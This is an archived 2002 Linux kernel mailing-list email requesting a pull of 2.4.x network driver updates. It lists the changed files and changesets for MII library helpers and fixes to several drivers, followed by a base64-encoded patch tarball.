Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=pobox.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17vnxh-0006UM-00; Mon, 30 Sep 2002 00:58:58 +0100 Message-ID: <3D9793A2.4040906@pobox.com> Date: Sun, 29 Sep 2002 19:58:26 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Marcelo Tosatti CC: Alan Cox , Linux Kernel Mailing List , netdev@oss.sgi.com Subject: [BK/GNU] net driver 2.4.x series 8 Content-Type: multipart/mixed; boundary="------------090806070306060704010102" X-archive-position: 411 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------090806070306060704010102 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit GNU patches (with description at the top of each patch) attached in a tarball, after the patchset description. --------------090806070306060704010102 Content-Type: text/plain; name="net-drivers-2.4.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="net-drivers-2.4.txt" Marcelo, please do a bk pull http://gkernel.bkbits.net/net-drivers-2.4 This will update the following files: drivers/net/8139cp.c | 76 +++---- drivers/net/8139too.c | 80 +------ drivers/net/acenic.h | 2 drivers/net/eepro100.c | 161 +++++++++----- drivers/net/epic100.c | 96 +++----- drivers/net/fealnx.c | 48 +--- drivers/net/mii.c | 204 +++++++++++++++++- drivers/net/sb1000.c | 8 drivers/net/sis900.c | 55 +++-- drivers/net/sis900.h | 6 drivers/net/sundance.c | 132 ++++++------ drivers/net/via-rhine.c | 68 ++---- drivers/net/winbond-840.c | 4 drivers/net/wireless/airo.c | 476 +++++++++++++++++++++++++++++++++----------- include/linux/mii.h | 29 +- 15 files changed, 933 insertions(+), 512 deletions(-) through these ChangeSets: (02/09/29 1.704) [net drivers] add optional duplex-changed arg to generic_mii_ioctl helper (02/09/29 1.703) [net drivers] Remove 'dev' argument from generic_mii_ioctl helper (02/09/29 1.702) Use new MII lib helper generic_mii_ioctl in several net drivers: 8139too, epic100, fealnx, sundance and via-rhine. In the process, several of these net drivers gained MII ioctl locking fixes simply by virtue of being brought in line with standardized code. (02/09/29 1.701) Add MII lib helper func generic_mii_ioctl, use it in 8139cp net drvr (02/09/29 1.700) [net drivers] Rename MII lib API member, s/duplex_lock/force_media/, and update all drivers that reference this struct member. (02/09/28 1.699) [net drivers] MII lib update: * add boolean 'init_media' arg to mii_check_media * update all callers (just 8139cp, for now) (02/09/28 1.698) sis900 net driver update: * fix eeprom access * fix tx-timeout bug * fix tx desc overflow bug * add sis963 support (02/09/28 1.697) [net drivers] fix MII lib force-media ethtool path (contributed by Edward Peng @ D-Link) (02/09/28 1.696) sundance net drvr: bump version to LK1.05 (02/09/28 1.695) sundance net drvr: fix DFE-580TX packet drop issue, further reset_tx fixes (contributed by Edward Peng @ D-Link) (02/09/28 1.694) sundance net drvr: fix reset_tx logic (contributed by Edward Peng @ D-Link, cleaned up by me) (02/09/28 1.693) update sundance driver to support building on older kernel: conditionally include crc32.h, ethtool.h, mii.h, and compat.h if built outside the stock 2.4.x kernel. (02/09/28 1.692) airo wireless net drvr: add Cisco MIC support Conditionally enabled when out-of-tree, but open source, crypto lib is present. (02/09/26 1.690) acenic net drvr fix: remove '=' typo in intr mask writel() (02/09/22 1.685) Fix sb1000 jiffies usage: kill float constant, use time_after_eq() (02/09/21 1.684) airo wireless: Fixes signal level retrieval in SPY mode (releases memory block after read out) (02/09/21 1.683) airo wireless: fix "non-probe mode" setup (02/09/21 1.682) airo wireless: power down on if down. add local 'ai' to fix build. (02/09/21 1.681) airo wireless: more verbose MAC-enable errors (02/09/21 1.680) airo wireless: disable access to card while prom flashing in progress [note: more work needs to be done here, but this is better than nothing -jgarzik] (02/09/21 1.679) airo wireless: use ETH_ALEN constant where appropriate (02/09/21 1.678) sync airo wireless driver with 2.5: * include linux/tqueue.h * add LINUX_VERSION_CODE check * s/int flags/unsigned long flags/ * whitespace cleanups (02/09/20 1.661.6.24) Add new MII lib functions mii_check_link, mii_check_media. Use them in 8139cp net driver. (02/09/20 1.661.6.23) Support get-MII-data ioctls in 8139cp net driver (02/09/19 1.661.6.22) update eepro100 net driver to use standard MII phy API/lib, when implementing ethtool media ioctls. No behavior should change with this patch (except the ethtool media ioctls now work, of course) Also, re-format comments to the right of the private struct to line up. (02/09/19 1.661.6.21) Update eepro100 net driver's mdio_{read,write} functions to take 'struct net_device *' not 'long' as their first argument. This makes eepro100 compatible with the standard MII ethtool API, preparing it for that support. No functional changes should occur with this patch, if anything changes at all it is a bug. (and testing shows no changes...) --------------090806070306060704010102 Content-Type: application/octet-stream; name="netdrvr-8.tar.bz2" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="netdrvr-8.tar.bz2" QlpoOTFBWSZTWWeJqiIAsGn////4GgB7/////////v////8gACBCAERACQAF AIIBABEIYIae+3Pg+oRAoCO9nEhRIqnq9262SRrmxlktdxy5V133g+1HNs1S Vb2OuvvHE40+TNj6avvt96lFVS6xkfQ9sAd99wvrW+uAHWQD4qewG8uuG6Nw AAAjjrgdKHgDvXjbeeO333fPu73jQu971sd2bhvXc+J0xjruA2e5hVCnpXth l0qke2BJWtGh3y+eei2buHdN3dxVRDTUUorbUU0vs4petdjAuveve7ur2l7t y7B2253SnLbGtiaa2F1uSzVa2Cw9fWu+z4fe51stm0+D7Z1t7zzeXttnnje2 96901LUyqs2bNUio1spXu0RzbNbG18918Z4+3bnbaz7au3Du5sLuV3bWSs1l etT74cferSrBq+u5Ntjbrus74W3Y8t5dd9x7s93zySr7z72t9h3oY9qDayxV hbrUX2PLsJQQQAEAJoATJoCYCaBTwJk0U9NT9TI1DTCDQAAANMgQhAiNAJqe Sp+Em9NBJknlPU/UaaNAEaPQGkHomQA0NMAJGlFEkSaHqaZpAAHpNoRpoNDQ NPU9R6QABoaDRkyaAAAJNJIQgE0mTTQ1T2jVPTKep6BT8ST9T1TGUyfpTPUJ tIbUxAAAAAaCJKaCNBMQTAmTTQ0RoCniaMjEyGqeEaj0mJ6hkaMmjQBoNqCJ EgQEABBDKanpT9lGU3qMUnpPyCaI9NQGnqAaGgDQAAH8M5/Oox8/h4Tw8fR6 JeW9Ra/xyvx8bpbDRp8ZrsI2rZaoxk5KMqSMgMVCWIqno9sNIrVqCbUArswL 2xGg0LSFQ8IYSjCbToCkrP0QiIwC0BgmagwbRDMGzjKOk7ucPLzL7OrT2TBh PFK4p3cS7w8U70/lywEkszBtmW5Yhg28sqkkslYFaxQjIRJUlYg1lVRINACU lkZNRpEWCkUgjEFgMKWMg0gwRkVGqRYFsBBgsFjlkMcIEknxlIo/JSoLT5iZ URMFGUYrQapbaLC2tkW1lpFbj2/Am5LeotrGWW2NjCsraFEYqoxtKeDoRFk1 bP9id57z0MiUKlkspZaxrGMqUbKWqNilrKCFBK0UtRFa0toCllsKy2UEigys YiNF/pn0Tm5UZapQjFt9c2TBguCzUdNLi1jQQGlVSe55RfzHq+ubbmx1zl27 XLZt0JXV7wYURjNfRc0G8NtaHC05cU3DcYF6zc4eP3X9n7Tn+fWx+2YctuiK ideP1BgYiaEtSiUoJaWgoowLG8jNELJgtpluzbBAbBwY2BulrsWi1NTZDbFX W24NTUMlzTYTDTCC3amCjTDChgRVulGWNZkzY02ua4AaVbmwaxgKWBrrctqZ pR+i85U4ZrHW222a6XX9OiiKmVqJdGNwooossy43CrcVpVjBu2TOYGsLgssK UsspZE0uxsFjSlSjNNrJmYSgjMtFQuC3aLU+fxLzi1FpmFIUsLCwowVRLa6g 2hTLrs0FFt1BprVFJXfsYOHKMo2CHNEdQaMfr1pwrV5XgIl4sk+T8mMCfgUn fNfDRaKUYjUErQPhl9kspg7VDJ5Sm8w/NlgInVTfNmRQPPNWTZNJiYUooGol 9/3NtTQosiFjD4Msm9OKA0zeSZVgK4xEabhhiqMupdDiwGZlrKtOtfw2R5oT w30R+3WEP2vVTKLtQ7Yn9Z0r0o+n01/pwp0L+Y+ypE7oe+FE9PlZdOdkuWWW Q1TEwUKkqvw01q7H88n9IkiMgIkVYCqKoREgIgcGaUuxah65PjQhyy2HKdqX elSScpOc4Mi1kQ0imlsClGwLaoWisLsbK22sDUsliKWQKVxGpcQwFDV2eugQ RMGusy2yCTFWVEp2lz5XbZaLpjMaQWuMRBZjC5koJbMypS3XE2TTTLiltcIk bjUlrUWGWUawdsajnYttKumEZkyV2klcmhTWMtC2U2cJWN1g3FClLDOLdLRL LlMKbVSUqXGMePv/QccyWHLc4CJyyUqKGYyQFIZTWUqNELkIbJq6qsBt+Nhx LVBpW8rhrU2xSmhQQUsabJKUlExsZw7BaS2SWySbVkjbJMFXMuSLCCIAkQEE RmMhWC0LFkwTJLaiCIhc5jrSFst4utCsLVgDtoBsZ0P7TnLeHxetlvOFLNIu DRltNEqDbQqm1F1rKirrog7RMHtqS0m5ilILjKwWjJWJYkFbVuXEMRMtbNtS myu2lNC20LtUxUtVtqVSrTIiFsbiGGJ/RvQ0LIIaZYLLYPa6waFtiFWraRK2 wEMjLZXNxViX8j2v7vb+Ltub3XxdVGj429mfOIY/xheypBI2/hW0U3sReFtq j855UUuJGHtZVXCXvaeaPDh8rhvc753D5bw080HDr6UGx8IJxpiJO83yKgll YBHM3IGSqGu2vRrGMBJqbYLakFR1HGNK8VDTmtk++nRNs3QbRiwXZk8IMKmM Xwc2Es7bZuhdjauaRy83ZOEmMEM5MEJiFCfv5VgWUShQp0SmqImkoLDtyJZT WdNPTyQSHvuuPKNHOlmsuTS6ARNIOXJz15/J1t1y/n9HfftC6iBnnvwWCPWE PfQ70wZbQo/0XH2tvHRvxuGJ5IVPapmyeLqTyNa588OUNYNDtmLsJsMhtQtm 0dXFGzUyV39Hvtw4PUQuZRKOtY56R9yO7AReZWtDfnZmqW3jnd9b5kxsRdsw RJTE6Zj7TdO1uzo6m1qdPVcel5DTJs+RHwvPONznaa+Tqlb8izcoc1XrNvPd S4J2nZktNY20/hoYRRF229Gi702amz5BkDo4nXjZKw33pi7S4qsFMawpTWRy 7eO2JBBSbJRFEdmoWCVDLVHe6fdO2mQ/c4LrQxHye313PBbWwONOHoIosTFQ 5IIgjbZMHfm4py5GzlQVEikWCzTWKtFtoyUqOwzOwynvYZQWCq1nMn6vF/fz Tw0eNqk2rq4wwgL1/38aqwmUqcMYPb4cA5iiRbOAMmke9fiYRdVmzL+HGo+j 8Pwzc4Hr+LgQCPW49UkGGtnTdV8OZzMU0R0K5k4/ToxZiXlMFk5ZfTe3pKv6 ODA7OLs1olDuteu0dCVDfK/g0XI3VsWCOBdmhwQrIaKgjNIpCsO5lfjb+Pp/ IQnu0qevj5m83uVYN5PXh6UqqZRlVO7iw4v+hqvk5WwEEt6OjbZY3cptl2W9 sNlXZc84NGiE+i3Zft2f3ePvhx04Qxuwu/epzqXcWwPXnp9/Shu+58dnJOWU +Plyx2uw4gta7xvshzUOKh3GijC9zhEMMFvkSFiFbD3uA5Igs08MYP75A+x6 ePjoYz9JX0e1P7kPy9+5E5OxVdS5chlkrbfNv5kzyJvvrJLPDlkxgHCFzk8a 5Dy5cc99lnamomPHLMkiTwSUETZNWjBgGkj7UiSCW+M6IHkIFGT6B8+uWPv/ Vtzjroc0EStl3ByCis5fttLJUKcZFUIIMFQo6so4jMyDlndJ8uE8OQ6AS5jx Q8qVdHliqNNNIGzHR5xHe/6awOdZPPjC63fA9MeaPUhaWyubpTW9DExGZSsK yxMQxF7/nPNR53Y2OHX2deTZhedm4uknVhCoLOr6aCwLvmT8Pv+G5s7ek8lD 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 